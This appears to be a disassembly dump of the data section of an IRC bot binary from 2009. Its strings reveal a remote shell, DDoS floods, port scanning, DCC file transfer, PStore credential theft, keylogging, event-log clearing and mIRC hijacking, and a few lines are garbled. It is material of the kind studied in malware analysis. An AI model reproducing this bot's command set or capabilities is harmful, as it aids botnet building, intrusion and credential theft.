; DATA XREF: sub_40A938:loc_40D26Ao
; sub_4155B9+D1Fo
align 4
aAqejv_njvii_y8 db 'aQeJV.nJvIi.y8Ri./b5L.q.',0 ; DATA XREF: sub_4155B9+D2Do
; sub_418EDB:loc_419052o
align 10h
aSSSS db '%s %s (%s) %s',0 ; DATA XREF: sub_40A938+9F54o
; sub_40A938+9F85o
align 10h
aBuiltSep420092 db ' Built: Sep 4 2009 21:52:38',0 ; DATA XREF: sub_40A938+9F38o
; sub_40A938+9F69o
align 10h
aUnsecure db 'Unsecure',0 ; DATA XREF: sub_40A938+9E4Ao
; sub_421783+265o ...
align 4
aSecure db 'Secure',0 ; DATA XREF: sub_40A938+9E43o
; sub_421783+295o
align 4
aSNoSubnetCla_0 db '%s No subnet class specified',0 ; DATA XREF: sub_40A938:loc_41464Bo
align 8
aSSSSDWithADe_0 db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d'
; DATA XREF: sub_40A938+9B94o
; sub_40A938+9C9Bo ...
db ' threads',0
align 4
aSPortInvalid_ db '%s Port invalid.',0 ; DATA XREF: sub_40A938+98B9o
align 4
aSInvalidPort_ db '%s Invalid port.',0 ; DATA XREF: sub_40A938+9897o
align 4
aSSDForDSecs__0 db '%s --> (%s:%d) for %d secs.',0 ; DATA XREF: sub_40A938+93BFo
aSNoDelay_ db '%s No delay.',0 ; DATA XREF: sub_40A938:loc_413CB1o
align 4
aSShouldRunS_ db '%s Should run: "%s".',0 ; DATA XREF: sub_40A938+91ECo
align 10h
aSFailedToParse db '%s Failed to parse command.',0 ; DATA XREF: sub_40A938+9141o
; sub_40A938+9258o
a7: ; DATA XREF: sub_40A938+8D77o
; sub_40A938+8EE5o ...
unicode 0, <7>,0
aVista db 'vista',0 ; DATA XREF: sub_40A938+8D4Eo
; sub_40A938+8ECEo
align 4
a2k3 db '2k3',0 ; DATA XREF: sub_40A938+8D2Ao
; sub_40A938+8EA7o
a2k_0 db '2k',0 ; DATA XREF: sub_40A938+8CEFo
; sub_40A938+8E59o
align 10h
aMe db 'me',0 ; DATA XREF: sub_40A938+8CC8o
; sub_40A938+8E32o
align 4
a98 db '98',0 ; DATA XREF: sub_40A938+8CA1o
; sub_40A938+8E0Bo ...
align 4
aNt db 'nt',0 ; DATA XREF: sub_40A938+8C6Eo
; sub_40A938+8DD8o
align 4
a95 db '95',0 ; DATA XREF: sub_40A938+8C3Bo
; sub_40A938+8DA5o ...
align 10h
aSTryingToGetEx db '%s Trying to get external IP.',0 ; DATA XREF: sub_40A938+8849o
; sub_40A938+8867o
align 10h
a?: ; DATA XREF: sub_40A938+8669o
; sub_40A938+86D5o ...
unicode 0, <?>,0
align 8
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40A938+84C1o
db 'Referer: %s',0Dh,0Ah
db 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; .N'
db 'ET CLR 1.1.4322)',0Dh,0Ah
db 'Host: %s',0Dh,0Ah
db 'Connection: Keep-Alive',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aSSiteFailedToO db '%s Site failed to open.',0 ; DATA XREF: sub_40A938+8345o
; sub_40A938+8362o
aSSiteOpened_ db '%s Site opened.',0 ; DATA XREF: sub_40A938+8300o
aIexplore db 'iexplore',0 ; DATA XREF: sub_40A938+82E2o
align 4
aSS__0 db '%s --> (%s).',0 ; DATA XREF: sub_40A938+81FAo
; sub_40A938+8217o ...
align 4
aSSDDPackets_ db '%s --> (%s:%d) %d packets.',0 ; DATA XREF: sub_40A938+8016o
; sub_40A938+8047o ...
align 10h
aSSDWithDPacks db '%s --> (%s:%d) with %d packs',0 ; DATA XREF: sub_40A938+7C31o
; sub_40A938+7DAEo
align 10h
aSSDWithDConnSF db '%s --> (%s:%d) with %d conn',27h,'s for %d sec',27h,'s',0
; DATA XREF: sub_40A938+7AB1o
align 4
aSSForDSecS db '%s --> (%s) for %d sec',27h,'s',0 ; DATA XREF: sub_40A938+790Bo
align 4
aSSDForDSecS db '%s --> (%s:%d) for %d sec',27h,'s',0 ; DATA XREF: sub_40A938+78B0o
; sub_40A938+78E1o
aSSD_1 db '%s --> (%s:%d)',0 ; DATA XREF: sub_40A938+7676o
; sub_40A938+769Co ...
align 4
aSSForDSecs_ db '%s --> (%s) for (%d secs).',0 ; DATA XREF: sub_40A938+7495o
; sub_40A938+74BBo ...
align 10h
aSSForDSecsWith db '%s --> (%s) for %d secs with %d ms delay.',0
; DATA XREF: sub_40A938+6D20o
; sub_40A938+6D51o ...
align 4
aSSDForDSecs_ db '%s --> (%s:%d) for (%d secs).',0 ; DATA XREF: sub_40A938+6A70o
; sub_40A938+6F53o ...
align 4
aSPortPscanStar db '%s Port pscan started: %s:%d with delay: %d(ms).',0
; DATA XREF: sub_40A938+65BDo
align 10h
aSSSSDWithADela db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d'
; DATA XREF: sub_40A938+62ABo
db ' threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40A938+629Ao
; sub_40A938+6390o ...
align 4
aRandom db 'Random',0 ; DATA XREF: sub_40A938+6293o
; sub_40A938+6389o ...
align 10h
aSNoSubnetClass db '%s No subnet class specified.',0 ; DATA XREF: sub_40A938+6157o
align 10h
aSNoIpSpecified db '%s No IP specified.',0 ; DATA XREF: sub_40A938+6089o
; sub_40A938:loc_414644o
aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_40A938+6004o
; sub_40A938+990Eo
align 10h
aX_x_x_x db 'x.x.x.x',0 ; DATA XREF: sub_40A938+5FD6o
; sub_40A938+98DCo
aSInvalidPort db '%s Invalid port',0 ; DATA XREF: sub_40A938+5F9Co
aSIsOn_ db '%s is on.',0 ; DATA XREF: sub_40A938+5CE9o
align 4
aSIsOff_ db '%s is off.',0 ; DATA XREF: sub_40A938+5CA2o
; sub_40A938+5D1Do ...
align 10h
aSIsSetToSDUSPS db '%s is set to %s:%d U: %s P: %s F: %s',0 ; DATA XREF: sub_40A938+5BC4o
; sub_40A938+5C30o
align 4
aSSDDDDD_exe db '%s%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_40A938+5884o
align 4
aSSS_ db '%s %s %s.',0 ; DATA XREF: sub_40A938+568Co
; sub_40A938+574Do ...
align 4
aSConnectionClo db '%s Connection closed: (%i/%ikB sent).',0 ; DATA XREF: sub_40A938+5563o
align 10h
aSTimedOutClosi db '%s Timed Out, closing connection.',0 ; DATA XREF: sub_40A938+5462o
align 4
aSDDI db '%s %d %d %i',0 ; DATA XREF: sub_40A938+5408o
aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_40A938+53CFo
align 4
aSendingYouS db 'Sending you %s',0 ; DATA XREF: sub_40A938+53AFo
align 4
aSBindSD db '%s Bind %s <%d>',0 ; DATA XREF: sub_40A938+5349o
aSSD db '%s %s <%d>',0 ; DATA XREF: sub_40A938+52C7o
; sub_40A938+841Do ...
align 10h
aSNoFile db '%s No file',0 ; DATA XREF: sub_40A938+5284o
align 4
aSFailedToOpenS db '%s Failed to open: "%s",error: <%d>',0 ; DATA XREF: sub_40A938+5154o
; sub_40A938+517Co
aSOpenedS_ db '%s Opened: "%s".',0 ; DATA XREF: sub_40A938+50FAo
align 4
aOpen db 'open',0 ; DATA XREF: sub_40A938+50E5o
; sub_40A938+82E7o ...
align 4
aSFailedToSetAt db '%s Failed to set Attributes to: "%s",error: <%d>',0
; DATA XREF: sub_40A938+5097o
; sub_40A938+50BFo
align 10h
aSAttributesSet db '%s Attributes Set to: "%s".',0 ; DATA XREF: sub_40A938+5070o
aSFailedToCopyS db '%s Failed to copy: "%s" to "%s",error: <%d>',0
; DATA XREF: sub_40A938+4FE5o
; sub_40A938+5014o
aSCopiedSToS db '%s Copied: "%s" to "%s"',0 ; DATA XREF: sub_40A938+4F79o
aSFailedToMoveS db '%s Failed to move: "%s" to: "%s", error: <%d>',0
; DATA XREF: sub_40A938+4E4Do
; sub_40A938+4E7Co
align 10h
aSMovedSToS db '%s Moved: "%s" to: "%s"',0 ; DATA XREF: sub_40A938+4DE9o
aSSDoesnTExist_ db '%s %s doesn',27h,'t exist.',0 ; DATA XREF: sub_40A938:loc_40F63Fo
align 10h
aSSIsNotAFolder db '%s %s is not a folder.',0 ; DATA XREF: sub_40A938:loc_40F638o
align 4
aSFailedToDelet db '%s Failed to delete folder: %s',0 ; DATA XREF: sub_40A938:loc_40F62Eo
align 4
aSFolderDeleted db '%s Folder deleted: %s',0 ; DATA XREF: sub_40A938+4CECo
align 10h
aSFailedToDelFi db '%s Failed to del file: %s, error: <%d>',0 ; DATA XREF: sub_40A938+4C67o
; sub_40A938+4C8Fo
align 4
aSFileDeletedS db '%s File deleted: %s',0 ; DATA XREF: sub_40A938+4C40o
aSFileDoesnTExi db '%s File doesn',27h,'t exist: %s',0 ; DATA XREF: sub_40A938+4C12o
align 4
aSFileExistsS db '%s File exists: %s',0 ; DATA XREF: sub_40A938+4C03o
align 4
aSFailedToReadF db '%s Failed to read file: %s,error: <%d>',0 ; DATA XREF: sub_40A938+4BA6o
; sub_40A938+4BCEo
align 4
aSFileDisplayed db '%s File displayed: %s',0 ; DATA XREF: sub_40A938+4B50o
align 4
aSDisplayingFil db '%s Displaying file: %s',0 ; DATA XREF: sub_40A938+4AA1o
align 4
aSCommandsS_ db '%s Commands: %s.',0 ; DATA XREF: sub_40A938+4937o
align 4
asc_440D78: ; DATA XREF: sub_40A938+48D1o
; sub_40A938+857Fo ...
dw 0Ah
unicode 0, <>,0
aSShellReady_ db '%s Shell ready.',0 ; DATA XREF: sub_40A938+47C8o
; sub_40A938+47E6o
aSCouldnTOpenSh db '%s Couldn',27h,'t open shell.',0 ; DATA XREF: sub_40A938+4786o
aSSystemcallSen db '%s SystemCall sent: "%s"',0 ; DATA XREF: sub_40A938+46F9o
align 10h
aSSystemcallFai db '%s SystemCall failed.',0 ; DATA XREF: sub_40A938+46E0o
align 4
aSUnloaded_ db '%s Unloaded.',0 ; DATA XREF: sub_40A938+4627o
align 4
aSNickservDrop db '%s nickserv drop',0 ; DATA XREF: sub_40A938+45F4o
align 4
aSNickservRegis db '%s nickserv :register pass103 %s',0 ; DATA XREF: sub_40A938+45C1o
align 10h
aS@S_com db '%s@%s.com',0 ; DATA XREF: sub_40A938+45A4o
align 4
aSMemoservSendS db '%s memoserv :send %s %s',0 ; DATA XREF: sub_40A938+455Do
dword_440E44 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 73252220h
; DATA XREF: sub_40A938+3E0Do
; sub_40A938+3F02o
dd 31322022h, 30373033h, 33333436h, 1642520h, 0
dword_440E6C dd 206325h aSSDccSendCS db '%s %s :DCC SEND C:\\\\%s',0 ; DATA XREF: sub_40A938+3CDBo
align 4
dword_440E8C dd 25207325h, 23A2073h, 25323103h, 73250373h, 25323103h
; DATA XREF: sub_40A938+3CBBo
dd 20373h
dword_440EA4 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 20732520h
; DATA XREF: sub_40A938+3C8Co
dd 30333132h, 34363037h, 25203333h, 164h
dword_440EC8 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h
; DATA XREF: sub_40A938+3C5Co
dd 20657865h, 63657845h, 6E697475h, 69662067h, 2520656Ch
dd 164h, 0
dword_440EF8 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h
; DATA XREF: sub_40A938+3C22o
dd 20747874h, 6E65704Fh, 25206465h, 202C2064h, 64616572h
dd 2C676E69h, 706D6F63h, 6574656Ch, 202D2064h, 6F6C7075h
dd 63206461h, 6C706D6Fh, 21657465h, 1
dword_440F44 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 576F5720h
; DATA XREF: sub_40A938+3BE8o
dd 5F736569h, 69576F57h, 575F7365h, 6569576Fh, 31322073h
dd 30373033h, 33333436h, 1642520h, 2 dup(0)
dword_440F80 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
; DATA XREF: sub_40A938+3BB9o
dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h
dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h
dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh
dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
dd 2034E64h, 0
dword_441028 dd 69257325h, 0 dword_441030 dd 434F4E4Bh, 7325204Bh, 73253A20h, 0dword_441040 dd 25207325h, 73252073h, 0 ; sub_40A938+36D3o ...
dword_44104C dd 25207325h, 13A2073h, 474E4946h, 15245h ; sub_40A938+342Fo ...
dword_44105C dd 25207325h, 13A2073h, 53524556h, 14E4F49h, 0 ; sub_40A938+4308o
dword_441070 dd 25207325h, 13A2073h, 474E4950h, 1 ; sub_40A938+333Fo ...
dword_441080 dd 25207325h, 13A2073h, 17325hdword_44108C dd 64250302h, 2064252Ch, 3026325h, 0dword_44109C dd 64250302h, 2564252Ch, 3022063h, 2 dup(0)unk_4410B0 db 3Fh ; ? ; DATA XREF: sub_40A938+2F07o
db 1, 44h, 43h
aCSendFf???f?11 db 'C SEND "ff???f?𝑹𝑰𝑷𝑳𝑶w'
db '923;𝑺𝑼𝑷𝑮𝑼𝒀⻙'
db '0;" 0 0 0',0
dword_441140 dd 64250302h, 3F64252Ch, 43434401h, 4E455320h, 66222044h
; DATA XREF: sub_40A938+2EF6o
dd 3F3F3F66h, 20223F66h, 20302030h, 20330h, 0
dword_441168 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
; DATA XREF: sub_40A938+2EC9o
dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h
dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h
dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh
dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
dd 73204E64h, 74726174h, 79656B20h, 67676F6Ch, 2037265h
dd 0
aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz',0
; DATA XREF: sub_40A938+2CBAo
; sub_40A938+3D5Co ...
align 10h
aSSS db '%s %s :%s',0 ; DATA XREF: sub_40A938+2C7Eo
; sub_40A938+2F28o ...
align 4
aSLoadedOntoSDA db '%s Loaded Onto: (%s:%d), Amount: (%d)',0 ; DATA XREF: sub_40A938+2AD8o
; sub_40A938+2B0Do
align 4
aSTooMuchConns_ db '%s Too Much conns.',0 ; DATA XREF: sub_40A938+2A77o
align 4
aSObtainingExte db '%s Obtaining external IP',0 ; DATA XREF: sub_40A938+299Fo
align 4
aSSSS_ db '%s %s: %s -> %s.',0 ; DATA XREF: sub_40A938+2904o
align 4
aSFailedToLoadD db '%s Failed to load dnsapi.dll.',0 ; DATA XREF: sub_40A938:loc_40D1AFo
align 4
aSFailedToFlu_0 db '%s Failed to flush DNS cache.',0 ; DATA XREF: sub_40A938:loc_40D1A5o
align 4
aSDnsCacheFlush db '%s DNS cache flushed.',0 ; DATA XREF: sub_40A938+2863o
align 10h
aSFailedToFlush db '%s Failed to flush ARP.',0 ; DATA XREF: sub_40A938+2838o
aSArpFlushed_ db '%s ARP flushed.',0 ; DATA XREF: sub_40A938+282Do
aSClientNotOp_0 db '%s Client not open or found: "%s"',0 ; DATA XREF: sub_40A938:loc_40D12Do
align 4
aSCommandSentS db '%s Command sent: "%s"',0 ; DATA XREF: sub_40A938+27EEo
align 4
aSClientNotOpen db '%s Client not open.',0 ; DATA XREF: sub_40A938+274Eo
; sub_40A938+2770o
aSUserIsRunning db '%s User is running mIRC v %s, Connected to %s (%s:%s) Nick: %s, O'
; DATA XREF: sub_40A938+2708o
db 'n chans: (%s).',0
asc_4413F8 db ', ',0 ; DATA XREF: sub_40A938+2691o
align 4
aChanI db '$chan(%i)',0 ; DATA XREF: sub_40A938+264Bo
align 4
aChan0 db '$chan(0)',0 ; DATA XREF: sub_40A938+2602o
align 4
aPort_0 db '$port',0 ; DATA XREF: sub_40A938+25C2o
align 4
aServerip db '$serverip',0 ; DATA XREF: sub_40A938+2585o
align 4
aServer_0 db '$server',0 ; DATA XREF: sub_40A938+2542o
aVersion db '$version',0 ; DATA XREF: sub_40A938+24B6o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_40A938+2466o
; sub_41D94F+3Co ...
align 4
aSSentIrcRawS_ db '%s Sent IRC raw: "%s".',0 ; DATA XREF: sub_40A938+2411o
align 4
aSSOnSIThreadNu db '%s %s on %s: %i, thread number: %i.',0 ; DATA XREF: sub_40A938+22C6o
; sub_40A938+22F6o
aSSOnSISS_ db '%s %s on %s: %i, %s: %s.',0 ; DATA XREF: sub_40A938+223Ao
align 4
aSCreateProcess db '%s Create process thread.',0 ; DATA XREF: sub_40A938+20E5o
align 4
aSProcs db '%s Procs',0 ; DATA XREF: sub_40A938+1FB3o
align 4
aSBkillS db '%s BKill %s',0 ; DATA XREF: sub_40A938+1D91o
aSBkillThread_ db '%s BKill thread.',0 ; DATA XREF: sub_40A938+1D78o
align 4
aS2maintenance_ db '%s /2Maintenance./2',0 ; DATA XREF: sub_40A938+1C45o
aRecord db ', (Record)',0 ; DATA XREF: sub_40A938:loc_40C452o
align 4
aRecordUptimeS_ db ', Record UpTime: (%s).',0 ; DATA XREF: sub_40A938+1AFBo
align 4
aSUptimeS_ db '%s UpTime: (%s).',0 ; DATA XREF: sub_40A938+1AD1o
align 10h
aSSSSSSSSSS db '%s %s %s, %s %s (%s), %s (%s), %s (%s)',0 ; DATA XREF: sub_40A938+1A7Bo
align 4
aSAndS db '%s and %s',0 ; DATA XREF: sub_40A938+1A2Bo
align 4
aSSOnSI_0 db '%s %s on: (%s:%i)',0 ; DATA XREF: sub_40A938+1855o
; sub_40A938+187Fo
align 4
aSSOnSI db '%s %s on: [%s:%i]',0 ; DATA XREF: sub_40A938+17A1o
align 4
aSPstore db '%s PStore',0 ; DATA XREF: sub_40A938+1174o
; sub_40A938+1242o
align 4
aSStarted_ db '%s started.',0 ; DATA XREF: sub_40A938+1039o
aSThreadList db '%s Thread list',0 ; DATA XREF: sub_40A938+E88o
align 4
aSSD_ db '%s %s (%d).',0 ; DATA XREF: sub_40A938+DF1o
; sub_40A938+ED8o ...
aSSS_0 db '%s %s (%s)',0 ; DATA XREF: sub_40A938+D4Fo
; sub_40A938+1B8Eo ...
align 4
aSDS db '%s %d %s',0 ; DATA XREF: sub_40A938+CCAo
align 4
aSAdvapi_dllNot db '%s Advapi.dll not loaded',0 ; DATA XREF: sub_40A938:loc_40B570o
; sub_42377D+69o
align 4
aSFailedToClear db '%s Failed to clear syslogs',0 ; DATA XREF: sub_40A938+C2Eo
align 10h
aSClearedDDSysl db '%s Cleared [%d/%d] syslogs',0 ; DATA XREF: sub_40A938+C1Ao
align 4
aSystem db 'system',0 ; DATA XREF: sub_40A938+BB9o
; sub_41EB23+26o
align 4
aApplication db 'application',0 ; DATA XREF: sub_40A938+BABo
; sub_41EB23+Eo
aSSS@S db '%s [%s!%s@%s]',0 ; DATA XREF: sub_40A938+B30o
align 10h
aSS_ db '%s %s.',0 ; DATA XREF: sub_40A938+AA8o
; sub_40A938+FD5o ...
align 4
aUnsecured db 'Unsecured',0 ; DATA XREF: sub_40A938+A9Eo
align 4
aSSI db '%s %s (%i)',0 ; DATA XREF: sub_40A938+923o
; sub_40A938+963o
align 10h
aSSIS db '%s %s (%i) %s',0 ; DATA XREF: sub_40A938+8EEo
; sub_40A938+915o
align 10h
a6 db '$6',0 ; DATA XREF: sub_40A938+84Eo
align 4
a5 db '$5',0 ; DATA XREF: sub_40A938+83Ao
align 4
a4 db '$4',0 ; DATA XREF: sub_40A938+823o
align 4
a3 db '$3',0 ; DATA XREF: sub_40A938+80Fo
align 10h
a2 db '$2',0 ; DATA XREF: sub_40A938+7FBo
align 4
a1_0 db '$1',0 ; DATA XREF: sub_40A938+7E7o
align 4
aChan db '$chan',0 ; DATA XREF: sub_40A938+7D3o
align 10h
aUser_0 db '$user',0 ; DATA XREF: sub_40A938+7BDo
align 4
off_4416A8 dd offset dword_656D24 ; DATA XREF: sub_40A938+7A0o
; sub_40A938+24FFo
dword_4416AC dd 73256325h, 0 aSAddedAliasS db '%s Added Alias: %s',0 ; DATA XREF: sub_40A938+6C7o
align 4
aS_1 db ' %s',0 ; DATA XREF: sub_40A938+67Eo
; sub_40A938+14BAo ...
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40A938+5D1o
aSAliasList db '%s [Alias list]',0 ; DATA XREF: sub_40A938+57Co
aSServerListCom db '%s Server List complete.',0 ; DATA XREF: sub_40A938+54Bo
align 4
aISDSS db '%i: %s:%d%s, %s',0 ; DATA XREF: sub_40A938+524o
aListComplete db '-=[List Complete]=-',0 ; DATA XREF: sub_40A938+4E2o
aSServerISDS db '%s: Server: [%i: %s:%d%s]',0 ; DATA XREF: sub_40A938+4BAo
align 4
aSsl db ' (SSL)',0 ; DATA XREF: sub_40A938+489o
; sub_40A938+508o
align 4
aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_40A938+3C9o
; sub_40A938+837Ao ...
align 10h
dword_441760 dd 243F6A88h dd 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h
dd 82EFA98h, 0EC4E6C89h, 452821E6h, 38D01377h, 0BE5466CFh
dd 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h
dd 9216D5D9h, 8979FB1Bh
dword_4417A8 dd 0D1310BA6h dd 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h
dd 0BA7C9045h, 0F12C7F99h, 24A19947h, 0B3916CF7h, 801F2E2h
dd 858EFC16h, 636920D8h, 71574E69h, 0A458FEA3h, 0F4933D7Eh
dd 0D95748Fh, 728EB658h, 718BCD58h, 82154AEEh, 7B54A41Dh
dd 0C25A59B5h, 9C30D539h, 2AF26013h, 0C5D1B023h, 286085F0h
dd 0CA417918h, 0B8DB38EFh, 8E79DCB0h, 603A180Eh, 6C9E0E8Bh
dd 0B01E8A3Eh, 0D71577C1h, 0BD314B27h, 78AF2FDAh, 55605C60h
dd 0E65525F3h, 0AA55AB94h, 57489862h, 63E81440h, 55CA396Ah
dd 2AAB10B6h, 0B4CC5C34h, 1141E8CEh, 0A15486AFh, 7C72E993h
dd 0B3EE1411h, 636FBC2Ah, 2BA9C55Dh, 741831F6h, 0CE5C3E16h
dd 9B87931Eh, 0AFD6BA33h, 6C24CF5Ch, 7A325381h, 28958677h
dd 3B8F4898h, 6B4BB9AFh, 0C4BFE81Bh, 66282193h, 61D809CCh
dd 0FB21A991h, 487CAC60h, 5DEC8032h, 0EF845D5Dh, 0E98575B1h
dd 0DC262302h, 0EB651B88h, 23893E81h, 0D396ACC5h, 0F6D6FF3h
dd 83F44239h, 2E0B4482h, 0A4842004h, 69C8F04Ah, 9E1F9B5Eh
dd 21C66842h, 0F6E96C9Ah, 670C9C61h, 0ABD388F0h, 6A51A0D2h
dd 0D8542F68h, 960FA728h, 0AB5133A3h, 6EEF0B6Ch, 137A3BE4h
dd 0BA3BF050h, 7EFB2A98h, 0A1F1651Dh, 39AF0176h, 66CA593Eh
dd 82430E88h, 8CEE8619h, 456F9FB4h, 7D84A5C3h, 3B8B5EBEh
dd 0E06F75D8h, 85C12073h, 401A449Fh, 56C16AA6h, 4ED3AA62h
dd 363F7706h, 1BFEDF72h, 429B023Dh, 37D0D724h, 0D00A1248h
dd 0DB0FEAD3h, 49F1C09Bh, 75372C9h, 80991B7Bh, 25D479D8h
dd 0F6E8DEF7h, 0E3FE501Ah, 0B6794C3Bh, 976CE0BDh, 4C006BAh
dd 0C1A94FB6h, 409F60C4h, 5E5C9EC2h, 196A2463h, 68FB6FAFh
dd 3E6C53B5h, 1339B2EBh, 3B52EC6Fh, 6DFC511Fh, 9B30952Ch
dd 0CC814544h, 0AF5EBD09h, 0BEE3D004h, 0DE334AFDh, 660F2807h
dd 192E4BB3h, 0C0CBA857h, 45C8740Fh, 0D20B5F39h, 0B9D3FBDBh
dd 5579C0BDh, 1A60320Ah, 0D6A100C6h, 402C7279h, 679F25FEh
dd 0FB1FA3CCh, 8EA5E9F8h, 0DB3222F8h, 3C7516DFh, 0FD616B15h
dd 2F501EC8h, 0AD0552ABh, 323DB5FAh, 0FD238760h, 53317B48h
dd 3E00DF82h, 9E5C57BBh, 0CA6F8CA0h, 1A87562Eh, 0DF1769DBh
dd 0D542A8F6h, 287EFFC3h, 0AC6732C6h, 8C4F5573h, 695B27B0h
dd 0BBCA58C8h, 0E1FFA35Dh, 0B8F011A0h, 10FA3D98h, 0FD2183B8h
dd 4AFCB56Ch, 2DD1D35Bh, 9A53E479h, 0B6F84565h, 0D28E49BCh
dd 4BFB9790h, 0E1DDF2DAh, 0A4CB7E33h, 62FB1341h, 0CEE4C6E8h
dd 0EF20CADAh, 36774C01h, 0D07E9EFEh, 2BF11FB4h, 95DBDA4Dh
dd 0AE909198h, 0EAAD8E71h, 6B93D5A0h, 0D08ED1D0h, 0AFC725E0h
dd 8E3C5B2Fh, 8E7594B7h, 8FF6E2FBh, 0F2122B64h, 8888B812h
dd 900DF01Ch, 4FAD5EA0h, 688FC31Ch, 0D1CFF191h, 0B3A8C1ADh
dd 2F2F2218h, 0BE0E1777h, 0EA752DFEh, 8B021FA1h, 0E5A0CC0Fh
dd 0B56F74E8h, 18ACF3D6h, 0CE89E299h, 0B4A84FE0h, 0FD13E0B7h
dd 7CC43B81h, 0D2ADA8D9h, 165FA266h, 80957705h, 93CC7314h
dd 211A1477h, 0E6AD2065h, 77B5FA86h, 0C75442F5h, 0FB9D35CFh
dd 0EBCDAF0Ch, 7B3E89A0h, 0D6411BD3h, 0AE1E7E49h, 250E2Dh
dd 2071B35Eh, 226800BBh, 57B8E0AFh, 2464369Bh, 0F009B91Eh
dd 5563911Dh, 59DFA6AAh, 78C14389h, 0D95A537Fh, 207D5BA2h
dd 2E5B9C5h, 83260376h, 6295CFA9h, 11C81968h, 4E734A41h
dd 0B3472DCAh, 7B14A94Ah, 1B510052h, 9A532915h, 0D60F573Fh
dd 0BC9BC6E4h, 2B60A476h, 81E67400h, 8BA6FB5h, 571BE91Fh
dd 0F296EC6Bh, 2A0DD915h, 0B6636521h, 0E7B9F9B6h, 0FF34052Eh
dd 0C5855664h, 53B02D5Dh, 0A99F8FA1h, 8BA4799h, 6E85076Ah
dd 4B7A70E9h, 0B5B32944h, 0DB75092Eh, 0C4192623h, 0AD6EA6B0h
dd 49A7DF7Dh, 9CEE60B8h, 8FEDB266h, 0ECAA8C71h, 699A17FFh
dd 5664526Ch, 0C2B19EE1h, 193602A5h, 75094C29h, 0A0591340h
dd 0E4183A3Eh, 3F54989Ah, 5B429D65h, 6B8FE4D6h, 99F73FD6h
dd 0A1D29C07h, 0EFE830F5h, 4D2D38E6h, 0F0255DC1h, 4CDD2086h
dd 8470EB26h, 6382E9C6h, 21ECC5Eh, 9686B3Fh, 3EBAEFC9h
dd 3C971814h, 6B6A70A1h, 687F3584h, 52A0E286h, 0B79C5305h
dd 0AA500737h, 3E07841Ch, 7FDEAE5Ch, 8E7D44ECh, 5716F2B8h
dd 0B03ADA37h, 0F0500C0Dh, 0F01C1F04h, 200B3FFh, 0AE0CF51Ah
dd 3CB574B2h, 25837A58h, 0DC0921BDh, 0D19113F9h, 7CA92FF6h
dd 94324773h, 22F54701h, 3AE5E581h, 37C2DADCh, 0C8B57634h
dd 9AF3DDA7h, 0A9446146h, 0FD0030Eh, 0ECC8C73Eh, 0A4751E41h
dd 0E238CD99h, 3BEA0E2Fh, 3280BBA1h, 183EB331h, 4E548B38h
dd 4F6DB908h, 6F420D03h, 0F60A04BFh, 2CB81290h, 24977C79h
dd 5679B072h, 0BCAF89AFh, 0DE9A771Fh, 0D9930810h, 0B38BAE12h
dd 0DCCF3F2Eh, 5512721Fh, 2E6B7124h, 501ADDE6h, 9F84CD87h
dd 7A584718h, 7408DA17h, 0BC9F9ABCh, 0E94B7D8Ch, 0EC7AEC3Ah
dd 0DB851DFAh, 63094366h, 0C464C3D2h, 0EF1C1847h, 3215D908h
dd 0DD433B37h, 24C2BA16h, 12A14D43h, 2A65C451h, 50940002h
dd 133AE4DDh, 71DFF89Eh, 10314E55h, 81AC77D6h, 5F11199Bh
dd 43556F1h, 0D7A3C76Bh, 3C11183Bh, 5924A509h, 0F28FE6EDh
dd 97F1FBFAh, 9EBABF2Ch, 1E153C6Eh, 86E34570h, 0EAE96FB1h
dd 860E5E0Ah, 5A3E2AB3h, 771FE71Ch, 4E3D06FAh, 2965DCB9h
dd 99E71D0Fh, 803E89D6h, 5266C825h, 2E4CC978h, 9C10B36Ah
dd 0C6150EBAh, 94E2EA78h, 0A5FC3C53h, 1E0A2DF4h, 0F2F74EA7h
dd 361D2B3Dh, 1939260Fh, 19C27960h, 5223A708h, 0F71312B6h
dd 0EBADFE6Eh, 0EAC31F66h, 0E3BC4595h, 0A67BC883h, 0B17F37D1h
dd 18CFF28h, 0C332DDEFh, 0BE6C5AA5h, 65582185h, 68AB9802h
dd 0EECEA50Fh, 0DB2F953Bh, 2AEF7DADh, 5B6E2F84h, 1521B628h
